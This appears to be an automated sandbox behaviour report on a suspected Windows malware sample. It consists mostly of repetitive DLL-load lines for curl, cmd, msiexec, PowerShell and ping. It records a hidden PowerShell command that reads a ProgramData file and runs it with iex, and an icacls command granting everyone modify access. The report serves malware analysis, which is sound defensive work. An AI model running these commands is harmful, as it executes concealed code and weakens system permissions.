Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"			Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BA21B push ecx; ret	2_2_021BA225
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BA20A push ecx; ret	2_2_021BA21A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BBB67 push 00000000h; mov dword ptr [esp], esp	2_2_021BBB8D
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BB3B7 push 00000000h; mov dword ptr [esp], esp	2_2_021BB3DD
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BB947 push 00000000h; mov dword ptr [esp], esp	2_2_021BB96D
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Code function: 2_2_021BC477 push 00000000h; mov dword ptr [esp], esp	2_2_021BC49D

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
